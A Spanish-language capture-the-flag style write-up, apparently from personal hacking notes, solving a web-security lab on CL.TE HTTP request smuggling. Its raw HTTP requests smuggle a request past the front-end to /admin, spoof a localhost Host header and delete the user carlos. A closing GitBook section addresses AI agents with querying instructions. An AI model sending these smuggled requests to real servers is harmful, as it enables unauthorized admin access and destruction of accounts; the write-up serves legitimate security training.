> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/front-end-security-bypass-via-cl-te.md).

# Evasión de seguridad del front-end mediante CL.TE

### Explotando el secuestro de solicitudes HTTP para eludir los controles de seguridad del front-end, vulnerabilidad CL.TE

El laboratorio utiliza un **front-end** servidor y un **back-end**. / El front-end **no admite la codificación fragmentada**, mientras que el back-end lo acepta. / El acceso al panel de administración ubicado en **/admin** está bloqueado por el front-end.

El objetivo es **contrabandear una solicitud** al back-end, permitiendo el acceso al panel de administración, y luego **eliminar al usuario carlos**.

<figure><img src="/files/6047cb7d1544c8a86bb12ea3506aae1b336635f3" alt=""><figcaption></figcaption></figure>

#### **1. Verificación de la vulnerabilidad CL.TE**

El front-end interpreta Content-Length, mientras que el back-end usa Transfer-Encoding.

Carga útil CL.TE básica:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked

0


```

Esto devuelve un **200**, lo que confirma que el back-end toma `Transfer-Encoding` en cuenta.

<figure><img src="/files/cf78312e0fb258f45fecc0dca1ce592d4bd67053" alt=""><figcaption></figcaption></figure>

#### **2. Inyección de una solicitud contrabandeada**

Cuando luego se encadena una solicitud, el backend lee la solicitud contrabandeada:

```http
Content-Length: 33
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Prueba: A
```

El backend responde que **solo los usuarios locales** pueden acceder a /admin.

<figure><img src="/files/fa18e436d303825a2a538f7e5975954a85cb997b" alt=""><figcaption></figcaption></figure>

#### **3. Suplantación del Host para parecer local**

Para eludir la restricción, el back-end debe creer que la solicitud proviene de localhost.

Intento inicial:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
```

Pero el servidor devuelve:

```json
{
 "error":"No se permiten nombres de encabezado duplicados"
}
```

Por lo tanto, el backend no interpreta esta solicitud como una nueva solicitud completa.

### **4. Construcción de una solicitud contrabandeada correcta**

Un `Content-Length` se añade a la consulta contrabandeada, para que se procese correctamente:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 9

test=test
```

Para que el back-end lea la solicitud correctamente, ajustamos el tamaño:

```http
Content-Length: 10
```

La solicitud completa enviada al front-end queda así:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="/files/5adda58e441c072ae715c8da26845d1bd6a346b9" alt=""><figcaption></figcaption></figure>

#### **5. Eliminación del usuario carlos**

Ahora simplemente reemplaza la línea GET por la llamada de eliminación:

```http
Content-Length: 97
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="/files/e77c3acb020489034f284e719539b6db59cb4c0c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/front-end-security-bypass-via-cl-te.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
